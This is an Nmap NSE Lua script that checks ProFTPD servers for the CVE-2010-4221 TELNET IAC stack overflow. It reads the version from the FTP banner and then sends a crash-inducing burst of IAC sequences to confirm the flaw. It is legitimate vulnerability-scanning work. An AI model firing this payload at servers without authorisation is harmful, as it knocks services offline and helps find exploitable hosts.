1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
|
local ftp = require "ftp"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local stringaux = require "stringaux"
local vulns = require "vulns"
description = [[
Checks for a stack-based buffer overflow in the ProFTPD server, version
between 1.3.2rc3 and 1.3.3b. By sending a large number of TELNET_IAC escape
sequence, the proftpd process miscalculates the buffer length, and a remote
attacker will be able to corrupt the stack and execute arbitrary code within
the context of the proftpd process (CVE-2010-4221). Authentication is not
required to exploit this vulnerability.
Reference:
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4221
* http://www.exploit-db.com/exploits/15449/
* http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp_telnet_iac
]]
---
-- @usage
-- nmap --script ftp-vuln-cve2010-4221 -p 21 <host>
--
-- @output
-- PORT STATE SERVICE
-- 21/tcp open ftp
-- | ftp-vuln-cve2010-4221:
-- | VULNERABLE:
-- | ProFTPD server TELNET IAC stack overflow
-- | State: VULNERABLE
-- | IDs: CVE:CVE-2010-4221 BID:44562
-- | Risk factor: High CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)
-- | Description:
-- | ProFTPD server (version 1.3.2rc3 through 1.3.3b) is vulnerable to
-- | stack-based buffer overflow. By sending a large number of TELNET_IAC
-- | escape sequence, a remote attacker will be able to corrupt the stack and
-- | execute arbitrary code.
-- | Disclosure date: 2010-11-02
-- | References:
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4221
-- | http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp_telnet_iac
-- | http://bugs.proftpd.org/show_bug.cgi?id=3521
-- |_ https://www.securityfocus.com/bid/44562
--
author = "Djalal Harouni"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive", "vuln"}
portrule = function (host, port)
if port.version.product ~= nil and port.version.product ~= "ProFTPD" then
return false
end
return shortport.port_or_service(21, "ftp")(host, port)
end
local function get_proftpd_banner(banner)
local version
if banner then
version = banner:match("ProFTPD%s([%w%.]+)%s")
end
return banner, version
end
local function ftp_finish(socket, status, message)
if socket then
socket:close()
end
return status, message
end
-- Returns true if the provided version is vulnerable
local function is_version_vulnerable(version)
local vers = stringaux.strsplit("%.", version)
if #vers > 0 and vers[3] then
local relnum = string.sub(vers[3], 1, 1)
local extra = string.sub(vers[3], 2)
if relnum == '2' then
if extra:len() > 0 then
if extra:match("rc%d") then
local v = string.sub(extra, 3)
if v and tonumber(v) > 2 then
return true
end
else
return true
end
end
elseif relnum == '3' then
if extra:len() == 0 or extra:match("[abrc]") then
return true
end
end
end
return false
end
-- Returns true, true if the ProFTPD child was killed
local function kill_proftpd(socket)
local killed = false
local TELNET_KILL = '\000'..'\255' -- TELNET_DUMMY..TELNET_IAC
stdnse.debug2("sending evil TELNET_IAC commands.")
local st, ret = socket:send(string.rep(TELNET_KILL, 4069)..
'\255'..string.rep("Nmap", 256).."\n")
if not st then
return st, ret
end
-- We should receive command error if it's not vulnerable
st, ret = socket:receive_lines(1)
if not st then
if ret == "EOF" then -- "connection closed"
stdnse.debug2("remote proftpd child was killed.")
killed = true
else
return st, ret
end
end
return true, killed
end
local function check_proftpd(ftp_opts)
local ftp_server = {}
local socket, code, message = ftp.connect(ftp_opts.host, ftp_opts.port)
if not socket then
return socket, code
end
ftp_server.banner, ftp_server.version = get_proftpd_banner(message)
if not ftp_server.banner then
return ftp_finish(socket, false, "failed to get FTP banner.")
elseif not ftp_server.banner:match("ProFTPD") then
return ftp_finish(socket, false, "not a ProFTPD server.")
end
local vuln = ftp_opts.vuln
-- check if this version is vulnerable
if ftp_server.version then
if not is_version_vulnerable(ftp_server.version) then
vuln.state = vulns.STATE.NOT_VULN
return ftp_finish(socket, true)
end
vuln.state = vulns.STATE.LIKELY_VULN
end
local status, killed = kill_proftpd(socket)
if not status then
return ftp_finish(socket, false, killed)
elseif killed then
vuln.state = vulns.STATE.VULN
elseif not vuln.state then
vuln.state = vulns.STATE.NOT_VULN
end
return ftp_finish(socket, true)
end
action = function(host, port)
local ftp_opts = {
host = host,
port = port,
vuln = {
title = 'ProFTPD server TELNET IAC stack overflow',
IDS = {CVE = 'CVE-2010-4221', BID = '44562'},
risk_factor = "High",
scores = {
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
},
description = [[
ProFTPD server (version 1.3.2rc3 through 1.3.3b) is vulnerable to
stack-based buffer overflow. By sending a large number of TELNET_IAC
escape sequence, a remote attacker will be able to corrupt the stack and
execute arbitrary code.]],
references = {
'http://bugs.proftpd.org/show_bug.cgi?id=3521',
'http://www.metasploit.com/modules/exploit/freebsd/ftp/proftp_telnet_iac',
},
dates = {
disclosure = {year = 2011, month = 11, day = 02},
},
}
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
local status, err = check_proftpd(ftp_opts)
if not status then
stdnse.debug1("%s", err)
return nil
end
return report:make_output(ftp_opts.vuln)
end
|
